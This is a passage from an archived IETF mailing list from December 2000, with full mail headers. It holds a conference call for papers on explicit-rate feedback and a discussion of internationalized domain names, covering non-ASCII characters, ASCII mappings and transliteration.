connectivity is a spelling error; foobar versus foobarr, or a systemic misunderstanding. The cause of non connectivity is a new axis of freedom for error. regards, Dan Kolis From owner-ietf-outbound Wed Dec 6 10:50:31 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA04052 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 10:50:02 -0500 (EST) Received: from pelican.tk.uni-linz.ac.at (root@pelican.tk.uni-linz.ac.at [140.78.188.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA03026 for ; Wed, 6 Dec 2000 10:45:34 -0500 (EST) Received: from olibaer (olibaer.tk.uni-linz.ac.at [140.78.92.45]) by pelican.tk.uni-linz.ac.at (8.9.1a/8.9.1) with SMTP id QAA16485; Wed, 6 Dec 2000 16:45:33 +0100 (MET) From: Michael Welzl Sender: "Michael Welzl" To: , , , Subject: CFP: Special session "ABR to the Internet", SCI 2001, ext. abstracts due 31.12.00 Date: Wed, 6 Dec 2000 16:52:20 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.3825.400 X-MIME-Autoconverted: from 8bit to quoted-printable by pelican.tk.uni-linz.ac.at id QAA16485 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id KAA03026 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit Our apologies if you receive this message more than once. Please distribute this call to any of your colleagues who might be interested. C A L L F O R P A P E R S Special Session: ABR to the Internet ==================================== THE 5TH WORLD MULTICONFERENCE ON SYSTEMICS, CYBERNETICS AND INFORMATICS SCI'2001 July, 22-25, 2001 Orlando, Florida(USA) Sheraton World http://www.iiis.org/sci/ THE "ABR TO THE INTERNET" SESSION: ATM's "Available Bit Rate" (ABR) service provides a dramatically reduced cell loss ratio by means of a signaling mechanism called "Explicit Rate Feedback"; information from the network is provided to end nodes in order to facilitate adaptation. On the contrary, adaptive Internet applications rely on mechanisms that probe the network in order to avoid congestions; packet loss must be experienced before it can be avoided on a long term basis. Developers of commercial applications seem to avoid adaptation because they don't see enough QoS benefit. SCOPE: As a first step, we have seen ECN enhance adaptation on the Internet. We are looking for papers that represent the next step. Topics of interest include, but are not limited to, the following questions: * What data should be provided to end nodes? * Which QoS could be achieved? * Where should the signaling take place? (end2end, edge2edge, core, ...) * How do we deal with path changes? * Can the signaling be incorporated with DiffServ, MPLS, ...? * What about fairness issues and TCP-friendliness? SUBMISSION OF PAPERS: Prospective authors are invited to submit an extended abstract (about 1.5 to 2 pages) to Michael Welzl (michael@tk.uni-linz.ac.at) in postscript, PDF or Word 97 format. English is the official language of SCI 2001, thus all papers must be submitted and presented in English. EVALUATION PROCESS: Papers will be evaluated for originality, significance, clarity, and soundness. Each paper will be refereed by several researchers in the topical area. THE CONFERENCE: SCI 2001 is an international forum for scientists and engineers, researchers and consultants, theoreticians and practitioners in the fields of Systemics, Cybernetics and Informatics. It is a forum for focused disciplinary research, as well as for multi, inter and transdiciplinary studies and projects. One of its aims is to relate disciplines fostering analogical thinking and, hence, producing input to the logical thinking. Invited Sessions with high quality papers might be selected for multiple author book publications. Two books are being published now as result of good invited sessions. IMPORTANT DATES: 31. 12. Submission of extended abstracts (1.5 - 2 pages) 16. 02. Notification of acceptance 13. 04. full papers due All accepted papers are expected to be presented at the conference. OTHER INFORMATION: It is planned to hold a BOF session on "ABR to the Internet" at a future IETF meeting; authors are invited to join this collaborative effort which may eventually be a realization of this session's topic. Further information on the BOF can be found at http://www.tk.uni-linz.ac.at/~michael/ptp SESSION CHAIR / CONTACT: Michael Welzl Telecooperation Group Dpt. of Computer Science Johannes Kepler University of Linz Altenberger Str. 69 A-4040 Linz, Austria Phone: +43 (732) 2468 - 9264 Fax: +43 (732) 2468 - 9829 E-mail: michael@tk.uni-linz.ac.at SESSION CO-CHAIR: Prof. Dr. Max Mühlhäuser TU Darmstadt - FB 20 FG Telekooperation Alexanderstrasse 6, D-64283 Darmstadt / Germany Phone: +49 (6151) 16 - 3709 Fax: +49 (6151) 16 - 3052 Refer to http://www.tk.uni-linz.ac.at/~michael/abr2internet for up-to-date information. From owner-ietf-outbound Wed Dec 6 11:20:26 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA11212 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 11:20:05 -0500 (EST) Received: from hqmail.batm.co.il ([212.29.220.190]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA10890 for ; Wed, 6 Dec 2000 11:19:33 -0500 (EST) Received: from MOSH2000 ([212.29.220.135]) by hqmail.batm.co.il with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id YLAABGGQ; Wed, 6 Dec 2000 18:18:53 +0200 From: "Moshe Aharon" To: "end2end-interest@ISI. EDU" , Subject: Secure "point to point" like connection over Ethernet (not PPPoE) Date: Wed, 6 Dec 2000 18:18:13 +0200 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_002B_01C05FB0.E5923120" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Importance: Normal X-Loop: ietf@ietf.org This is a multi-part message in MIME format. ------=_NextPart_000_002B_01C05FB0.E5923120 Content-Type: text/plain; charset="windows-1255" Content-Transfer-Encoding: 7bit Is there any work being done to solve the new situation of home and business users who are no longer using dial-up's or any other point to point connections like ADSL, ISDN etc. but instead are using a "shared" switched Ethernet infrastructure? What about applications which are not suitable for PPPoE (i.e. can't install any 3rd party client software)? Moshe ------=_NextPart_000_002B_01C05FB0.E5923120 Content-Type: text/html; charset="windows-1255" Content-Transfer-Encoding: quoted-printable
Is = there any work=20 being done to solve the new situation of home and business users who are = no=20 longer using dial-up's or any other point to point connections like = ADSL, ISDN=20 etc. but instead are using a "shared" switched Ethernet=20 infrastructure?
 
What = about=20 applications which are not suitable for PPPoE (i.e. can't install any = 3rd party=20 client software)?
 
Moshe
 
------=_NextPart_000_002B_01C05FB0.E5923120-- From owner-ietf-outbound Wed Dec 6 11:50:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA18837 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 11:50:04 -0500 (EST) Received: from A4.JCK.COM (ns.jck.com [209.187.148.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA17227 for ; Wed, 6 Dec 2000 11:43:14 -0500 (EST) Received: from P2 ("port 1230"@[209.187.148.217]) by a4.jck.com (PMDF V6.0-23 #44844) with ESMTP id <0G550085WNS0BJ@a4.jck.com> for ietf@ietf.org; Wed, 06 Dec 2000 11:43:13 -0500 (EST) Date: Wed, 06 Dec 2000 11:43:12 -0500 From: John C Klensin Subject: Re: Example of dns (non) fun iv In-reply-to: <20001206152230359.AAA324%hq.lindsayelec.com@hq.lindsayelec.com> To: Dan Kolis Cc: ietf@ietf.org Message-id: <1145415808.976102992@P2> MIME-version: 1.0 X-Mailer: Mulberry/2.0.5 (Win32) Content-type: text/plain; charset=iso-8859-1 Content-disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id LAA17227 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit --On Wednesday, 06 December, 2000 10:22 -0500 Dan Kolis wrote: > Dan K says: > 1) your right. with your tld .de I assume for the moment you > also speak German. The difference is what you 'try' when a url > doesn't work. If you tried: > > http://ßrehct.de > > and it didn't work you would probably try: > > http://brehct.de Dan, I suggest that many German-speakers (and even more automated systems) would probably try, not the above, but http://ssrehct.de/ which would, I believe, be the algorithmic rendering of the non-ASCII character. And, while this isn't a good example for a number of reasons (my memory is poor, but I don't recall ever seeing Eszett at the beginning of a word and am not sure it is possible), therein lies much of the problem because the mapping is not reversible unless one infers from the presence in .DE that German-language mapping rules must apply (a *very* risky assumption). john From owner-ietf-outbound Wed Dec 6 12:00:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA21730 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 12:00:03 -0500 (EST) Received: from A4.JCK.COM (ns.jck.com [209.187.148.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA17765 for ; Wed, 6 Dec 2000 11:45:38 -0500 (EST) Received: from P2 ("port 1232"@[209.187.148.217]) by a4.jck.com (PMDF V6.0-23 #44844) with ESMTP id <0G5500863NW0BJ@a4.jck.com> for ietf@ietf.org; Wed, 06 Dec 2000 11:45:37 -0500 (EST) Date: Wed, 06 Dec 2000 11:45:35 -0500 From: John C Klensin Subject: Re: Will Language Wars Balkanize the Web? In-reply-to: <5.0.2.1.2.20001206081537.02475438@shoe.reston.mci.net> To: vint cerf Cc: ietf@ietf.org, idn@ops.ietf.org Message-id: <1145559438.976103135@P2> MIME-version: 1.0 X-Mailer: Mulberry/2.0.5 (Win32) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-disposition: inline Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit (Can we please move this discussion to the IDN list, where it belongs?) --On Wednesday, 06 December, 2000 08:19 -0500 vint cerf wrote: > Mr. Ohta has put his finger on a key point: ability of all > parties to generate email addresses, web page URLs and so on. > Even if we introduce extended character sets, it seems vital > that there be some form of domain name that can be rendered > (and entered) as simple IA4 characters to assure continued > interworking at the most basic levels. This suggests that > there is need for some correspondence between an IA4 Domain > Name and any extended characterset counterpart. Vint, I think I agree with the principle. However, there are several different models with which the "correspondence" can be implemented. The difference among them is quite important technically --implementations would need to occur in different places and with different implications, deployment times, and side effects-- and perhaps as important philosophically. E.g., let me try to identify some of the in extreme form to help identify the differences: (i) The names in the DNS are "protocol elements". They should be expressed in a minimal subset of ASCII so that they can be rendered and typed on almost all of the world's equipment (the assumption that, e.g., all Chinese or Arabic keyboards and display devices in the medium to long term will contain Roman characters seems a little dubious). There is no requirement that they be mneumonic in any language: in principle, a string containing characters selected at random would do as well as the name of a company, person, or product. This model gives rise to directory and keyword systems (most of them outside the DNS) that contain the names that people use. While the registration and name-conflict problems are non-trivial, names in multiple languages and character codings can easily map onto a single DNS identifier. On the other hand, binding a national-language name to an ASCII name would need to be done either by parallel registrations or by matching on keywords (and the latter might not yield unambiguous and accurate results). (ii) Entries in the DNS are always coded. After all, "ASCII" is just a code mapping between a human-visible character set and a machine (or wire) representation. It is the job of an application to get from "characters" to "codes" and back, and to recognize coding systems and applying the correct decodings. And software that is old or broken will simply display a different rendering of the coded form (whether that is a "hexification" such as Base64 or some other system). This model gives rise to the "ACE all the way up" models, in which non-ASCII names are placed in the DNS using some tagging system, but the "ASCII representation" of a name that, in the original, uses non-Roman characters, may be quite ugly and bear no connection with the name as it would be rendered using the original characters other than an algorithmic one. It also gives rise to some of the UTF-8 models, on the assumption that applications that can't handle the full IS 10646 character set can do something intelligent. (iii) Regardless of how the names in the DNS are coded, it is important to have analogies to "two sided business cards". Such systems assume that any name rendered in a non-Roman character set should have an analogue in Roman characters. And those analogues are expected to be bound to the original form by transliteration or translation -- they aren't just random, algorithmically matching, strings. While there need to be facilities for the non-Roman (even non-ASCII) characters in either the DNS or a directory, establishing the "ASCII names" is, of necessity, a registration issue rather than an algorithmic issue. We don't know how to do the "translation" (or, in the general case, even transliteration) algorithmically. To give one example, despite the "Han unification" of IS 10646, the characters on a Japanese business card for you would almost certainly be different from those on a Chinese business card for you. And, because of the registration issue, there is no plausible way to impose a requirement that every host (or other DNS entry) have a name in ASCII if it has a name in some other script: people and hosts not visible outside their own countries may not care enough to go to the trouble. These models are not mutually exclusive. But they are definitely different perspectives. It is also worth noting that, as a matter of perspective, the dominance of subsets of ASCII in these debates has some important technical advantages (e.g., the code set can be made very small and the canonicalization/matching rules are algorithmic, universally-agreed, and trivial), but it is also significantly an historical accident. Because of that historical accident, we tend to couch these discussions (as your note does and as I have done above) in terms of ASCII <-> something-else mappings. But it isn't hard to imagine a business card containing Thai and Chinese, or Vietnamese and Sanscrit, or Hebrew and Arabic. It would be interesting, but impractical in the extreme, to try to insist that all DNS names be renderable in all languages and the associated character repertoires (and more impractical if we insisted that the renderings have "meaning"). But I think we need to remember that limiting case as we try to figure out what should be done here. john From owner-ietf-outbound Wed Dec 6 12:10:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA24350 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 12:10:03 -0500 (EST) Received: from nic.cafax.se (nic.cafax.se [192.71.228.17]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA20140 for ; Wed, 6 Dec 2000 11:54:01 -0500 (EST) Received: (from bygg@localhost) by nic.cafax.se (8.10.2/8.11.2.Beta0) id eB6Grnn10001 for ietf@ietf.org; Wed, 6 Dec 2000 17:53:49 +0100 (MET) Date: Wed, 6 Dec 100 17:53:49 WET From: Johnny Eriksson To: ietf@ietf.org Subject: Re: Diacritical application in the DNS In-Reply-To: Your message of Tue, 5 Dec 2000 19:06:14 -0500 Message-ID: X-Loop: ietf@ietf.org dank@hq.lindsayelec.com (Dan Kolis) wrote: > 123.34.56.67 has got to be easier to enter than www.bq--abzw55tnn5zq.se Yes, but the problem is that the first one represents an IP address, which is at the addressing level, and can change, while the second one is at the naming level, as a synonyme to the original name, and something that DNS then looks up to get the CURRENT address. If easy-to-type was the original problem we could do away with DNS altogether and just use IP addresses everywhere, that could even get rid of a lot of lawyers... --Johnny From owner-ietf-outbound Wed Dec 6 12:50:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA00831 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 12:50:02 -0500 (EST) Received: from chimera.elec.qmw.ac.uk (chimera.elec.qmw.ac.uk [138.37.32.199]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA29467 for ; Wed, 6 Dec 2000 12:39:35 -0500 (EST) Received: from hongweipc ([138.37.32.58]) by chimera.elec.qmw.ac.uk with smtp (Exim 3.16 #2) id 143iVM-0002SK-00; Wed, 06 Dec 2000 17:37:20 +0000 From: "Hongwei" To: "John C Klensin" Cc: Subject: RE: Will Language Wars Balkanize the Web? Date: Wed, 6 Dec 2000 17:39:30 -0000 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <1145559438.976103135@P2> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit I can't agree more. -----Original Message----- From: John C Klensin [mailto:klensin@jck.com] Sent: 06 December 2000 16:46 To: vint cerf Cc: ietf@ietf.org; idn@ops.ietf.org Subject: Re: Will Language Wars Balkanize the Web? (Can we please move this discussion to the IDN list, where it belongs?) --On Wednesday, 06 December, 2000 08:19 -0500 vint cerf wrote: > Mr. Ohta has put his finger on a key point: ability of all > parties to generate email addresses, web page URLs and so on. > Even if we introduce extended character sets, it seems vital > that there be some form of domain name that can be rendered > (and entered) as simple IA4 characters to assure continued > interworking at the most basic levels. This suggests that > there is need for some correspondence between an IA4 Domain > Name and any extended characterset counterpart. Vint, I think I agree with the principle. However, there are several different models with which the "correspondence" can be implemented. The difference among them is quite important technically --implementations would need to occur in different places and with different implications, deployment times, and side effects-- and perhaps as important philosophically. E.g., let me try to identify some of the in extreme form to help identify the differences: (i) The names in the DNS are "protocol elements". They should be expressed in a minimal subset of ASCII so that they can be rendered and typed on almost all of the world's equipment (the assumption that, e.g., all Chinese or Arabic keyboards and display devices in the medium to long term will contain Roman characters seems a little dubious). There is no requirement that they be mneumonic in any language: in principle, a string containing characters selected at random would do as well as the name of a company, person, or product. This model gives rise to directory and keyword systems (most of them outside the DNS) that contain the names that people use. While the registration and name-conflict problems are non-trivial, names in multiple languages and character codings can easily map onto a single DNS identifier. On the other hand, binding a national-language name to an ASCII name would need to be done either by parallel registrations or by matching on keywords (and the latter might not yield unambiguous and accurate results). (ii) Entries in the DNS are always coded. After all, "ASCII" is just a code mapping between a human-visible character set and a machine (or wire) representation. It is the job of an application to get from "characters" to "codes" and back, and to recognize coding systems and applying the correct decodings. And software that is old or broken will simply display a different rendering of the coded form (whether that is a "hexification" such as Base64 or some other system). This model gives rise to the "ACE all the way up" models, in which non-ASCII names are placed in the DNS using some tagging system, but the "ASCII representation" of a name that, in the original, uses non-Roman characters, may be quite ugly and bear no connection with the name as it would be rendered using the original characters other than an algorithmic one. It also gives rise to some of the UTF-8 models, on the assumption that applications that can't handle the full IS 10646 character set can do something intelligent. (iii) Regardless of how the names in the DNS are coded, it is important to have analogies to "two sided business cards". Such systems assume that any name rendered in a non-Roman character set should have an analogue in Roman characters. And those analogues are expected to be bound to the original form by transliteration or translation -- they aren't just random, algorithmically matching, strings. While there need to be facilities for the non-Roman (even non-ASCII) characters in either the DNS or a directory, establishing the "ASCII names" is, of necessity, a registration issue rather than an algorithmic issue. We don't know how to do the "translation" (or, in the general case, even transliteration) algorithmically. To give one example, despite the "Han unification" of IS 10646, the characters on a Japanese business card for you would almost certainly be different from those on a Chinese business card for you. And, because of the registration issue, there is no plausible way to impose a requirement that every host (or other DNS entry) have a name in ASCII if it has a name in some other script: people and hosts not visible outside their own countries may not care enough to go to the trouble. These models are not mutually exclusive. But they are definitely different perspectives. It is also worth noting that, as a matter of perspective, the dominance of subsets of ASCII in these debates has some important technical advantages (e.g., the code set can be made very small and the canonicalization/matching rules are algorithmic, universally-agreed, and trivial), but it is also significantly an historical accident. Because of that historical accident, we tend to couch these discussions (as your note does and as I have done above) in terms of ASCII <-> something-else mappings. But it isn't hard to imagine a business card containing Thai and Chinese, or Vietnamese and Sanscrit, or Hebrew and Arabic. It would be interesting, but impractical in the extreme, to try to insist that all DNS names be renderable in all languages and the associated character repertoires (and more impractical if we insisted that the renderings have "meaning"). But I think we need to remember that limiting case as we try to figure out what should be done here. john From owner-ietf-outbound Wed Dec 6 13:40:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA13035 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 13:40:02 -0500 (EST) Received: from uucp1.nwnexus.com (uucp1.nwnexus.com [206.63.63.110]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA11318 for ; Wed, 6 Dec 2000 13:34:33 -0500 (EST) Received: from internaut.com (uucp@localhost) by uucp1.nwnexus.com (8.8.8/8.8.8) with UUCP id KAA17416; Wed, 6 Dec 2000 10:34:15 -0800 (PST) Received: from [64.38.134.109] by internaut.com (NX5.67e/NeXT-3.0) id AA00534; Wed, 6 Dec 00 10:59:33 -0800 From: "Bernard Aboba" To: "Moshe Aharon" , "end2end-interest@ISI. EDU" , Subject: RE: Secure "point to point" like connection over Ethernet (not PPPoE) Date: Wed, 6 Dec 2000 10:20:59 -0800 Message-Id: Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0000_01C05F6E.3AA81870" X-Priority: 3 (Normal) X-Msmail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Loop: ietf@ietf.org This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C05F6E.3AA81870 Content-Type: text/plain; charset="windows-1255" Content-Transfer-Encoding: 7bit http://www.ieee802.org/1/pages/802.1x.html -----Original Message----- From: Moshe Aharon [mailto:mosh@batm.co.il] Sent: Wednesday, December 06, 2000 8:18 AM To: end2end-interest@ISI. EDU; ietf@ietf.org Subject: Secure "point to point" like connection over Ethernet (not PPPoE) Is there any work being done to solve the new situation of home and business users who are no longer using dial-up's or any other point to point connections like ADSL, ISDN etc. but instead are using a "shared" switched Ethernet infrastructure? What about applications which are not suitable for PPPoE (i.e. can't install any 3rd party client software)? Moshe ------=_NextPart_000_0000_01C05F6E.3AA81870 Content-Type: text/html; charset="windows-1255" Content-Transfer-Encoding: quoted-printable
http://www.ieee802.or= g/1/pages/802.1x.html
-----Original Message-----
From: Moshe Aharon=20 [mailto:mosh@batm.co.il]
Sent: Wednesday, December 06, 2000 = 8:18=20 AM
To: end2end-interest@ISI. EDU; = ietf@ietf.org
Subject:=20 Secure "point to point" like connection over Ethernet (not=20 PPPoE)

Is = there any work=20 being done to solve the new situation of home and business users who = are no=20 longer using dial-up's or any other point to point connections like = ADSL, ISDN=20 etc. but instead are using a "shared" switched Ethernet=20 infrastructure?
 
What = about=20 applications which are not suitable for PPPoE (i.e. can't install any = 3rd=20 party client software)?
 
Moshe
 
------=_NextPart_000_0000_01C05F6E.3AA81870-- From owner-ietf-outbound Wed Dec 6 13:50:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA15291 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 13:50:03 -0500 (EST) Received: from hq.lindsayelec.com (lindsayelec.quicklinks.on.ca [216.129.40.27]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA12266 for ; Wed, 6 Dec 2000 13:37:30 -0500 (EST) Received: from hq.lindsayelec.com ([216.129.40.27]) by hq.lindsayelec.com (Post.Office MTA v3.5.3 release 223 ID# 0-66079U100L100S0V35) with SMTP id com for ; Wed, 6 Dec 2000 13:37:31 -0500 Received: FROM new BY hq.lindsayelec.com ; Wed Dec 06 13:37:30 2000 -0500 X-Sender: dank@191.1.2.250 X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" To: ietf@ietf.org From: dank@hq.lindsayelec.com (Dan Kolis) Subject: IDN readings et al Date: Wed, 6 Dec 2000 13:37:31 -0500 Message-ID: <20001206183731925.AAA316@hq.lindsayelec.com@hq.lindsayelec.com> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id NAA12266 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit Hi, I've read 60 printed pages of the retroactive corresp. about internationalizing the DNS off the ietf ftp site. Pretty interesting. My passed around napkin tests to non-technocrats at lunch today was surprising. No one got even close to an effective proceedure to find a DNS for the Icelandic ice cream company if it used diacritical marks which are unfamiliar. I was particularly surprised no one suggested that its NOT an effective proceedure to guess at URL's... why not use a search engine? You don't guess at phone numbers.... I phrased the question with great care to include enough information that that was I thought an equally weighted option. It occurred to me URL's for websites, (especially 'home' pages) really have taken on a life of their own perhaps quite different then there original intent. I'm surprised some university or some other institution doesn't have a usability lab with some controlled environment to see how regular people use technology. Mostly, they struggle horribly. I don't, but then again I have probably devoted too much time to understanding 'things'; people with a life have apportioned there attention span with less nuts and bolts in it. Since links [anchors] in web pages will probably work with click no matter what, most of the suffering revolves around representing initial URL's in printed human readable form, and getting it to work once. After that, its click click (save) click jump, whatever. But, not all printed information is human readable. Barcodes for URL's now have a trail of patent seekers; (my PTO disclosure actually is 20 days in front of the huge batch of probably worthless patents after it). You don't deal with an infinite history of expectations when all you expect the user to do is point at a blotch on a paper and pull a trigger! Regards, Dan Kölis {just kidding. Though actually my surname was/is a Polish river. I'm curious now to find if it should have a diacritical mark) Dan Kolis From owner-ietf-outbound Wed Dec 6 14:10:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA19956 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 14:10:02 -0500 (EST) Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA17924 for ; Wed, 6 Dec 2000 14:00:38 -0500 (EST) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id OAA12124; Wed, 6 Dec 2000 14:00:33 -0500 (EST) Sender: hgs@cs.columbia.edu Message-ID: <3A2E8CD1.DA98A6F4@cs.columbia.edu> Date: Wed, 06 Dec 2000 14:00:33 -0500 From: "Henning G. Schulzrinne" Organization: Dept. of Computer Science, Columbia University X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: John C Klensin CC: Dan Kolis , ietf@ietf.org Subject: Re: Example of dns (non) fun iv References: <1145415808.976102992@P2> Content-Type: text/plain; charset=iso-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by cs.columbia.edu id OAA12124 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id OAA17924 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit John C Klensin wrote: > > --On Wednesday, 06 December, 2000 10:22 -0500 Dan Kolis > wrote: > > > Dan K says: > > 1) your right. with your tld .de I assume for the moment you > > also speak German. The difference is what you 'try' when a url > > doesn't work. If you tried: > > > http://ßrehct.de > > > and it didn't work you would probably try: > > > http://brehct.de > > Dan, I suggest that many German-speakers (and even more > automated systems) would probably try, not the above, but > http://ssrehct.de/ > which would, I believe, be the algorithmic rendering of the > non-ASCII character. And, while this isn't a good example for > a number of reasons (my memory is poor, but I don't recall ever > seeing Eszett at the beginning of a word and am not sure it is > possible), therein lies much of the problem because the mapping > is not reversible unless one infers from the presence in .DE > that German-language mapping rules must apply (a *very* risky > assumption). No ß at the beginning of words (and the author Brecht certainly doesn't have any ß's), but even if you know the language, the mapping is not reversible. ss, ae, oe, ue, etc. are all legal letter pairs, as anybody who's tried to 8859-1'ify an ASCII text has discovered to their chagrin. Indeed, there are situations, besides names, where even a dictionary is not good enough since both words exist (Masse and Maße being one common example). > > john > > - > This message was passed through ietf+censored@alvestrand.no, which > is a sublist of ietf@ietf.org. Not all messages are passed. > Decisions on what to pass are made solely by Harald Alvestrand. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs From owner-ietf-outbound Wed Dec 6 15:10:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA02947 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 15:10:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA27995 for ; Wed, 6 Dec 2000 14:50:22 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id OAA00732; Wed, 6 Dec 2000 14:50:19 -0500 (EST) Message-Id: <200012061950.OAA00732@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Johnny Eriksson cc: ietf@ietf.org Subject: Re: Diacritical application in the DNS In-reply-to: Your message of "Wed, 06 Dec 2000 17:53:49 +0700." Date: Wed, 06 Dec 2000 14:50:19 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > If easy-to-type was the original problem we could do away with DNS > altogether and just use IP addresses everywhere, that could even get > rid of a lot of lawyers... if it would really get rid of lawyers, it would be well worth it... Keith p.s. the lawyers wouldn't give up so easily...they would simply insist that we support IP addresses with octet values greater than 255. From owner-ietf-outbound Wed Dec 6 15:50:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA15310 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 15:50:02 -0500 (EST) Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA14709 for ; Wed, 6 Dec 2000 15:47:24 -0500 (EST) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id PAA21856; Wed, 6 Dec 2000 15:47:14 -0500 (EST) Sender: hgs@cs.columbia.edu Message-ID: <3A2EA5D2.CDC273A9@cs.columbia.edu> Date: Wed, 06 Dec 2000 15:47:14 -0500 From: "Henning G. Schulzrinne" Organization: Dept. of Computer Science, Columbia University X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Keith Moore CC: Johnny Eriksson , ietf@ietf.org Subject: Re: Diacritical application in the DNS References: <200012061950.OAA00732@astro.cs.utk.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Keith Moore wrote: > > > If easy-to-type was the original problem we could do away with DNS > > altogether and just use IP addresses everywhere, that could even get > > rid of a lot of lawyers... > > if it would really get rid of lawyers, it would be well worth it... > > Keith > > p.s. the lawyers wouldn't give up so easily...they would simply > insist that we support IP addresses with octet values greater than 255. > And they would insist that something like 180.035.069.037 would spell 1-800-Flowers and try to reserve an IP address based on that name. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs From owner-ietf-outbound Wed Dec 6 16:00:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA18341 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 16:00:03 -0500 (EST) Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA18262 for ; Wed, 6 Dec 2000 15:59:53 -0500 (EST) Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192]) by rgfsparc.cr.usgs.gov (8.9.3+Sun/8.9.1) with SMTP id OAA03456 for ; Wed, 6 Dec 2000 14:54:40 -0600 (CST) Message-Id: <200012062054.OAA03456@rgfsparc.cr.usgs.gov> Date: Wed, 6 Dec 2000 14:54:40 -0600 (CST) From: "Robert G. Ferrell" 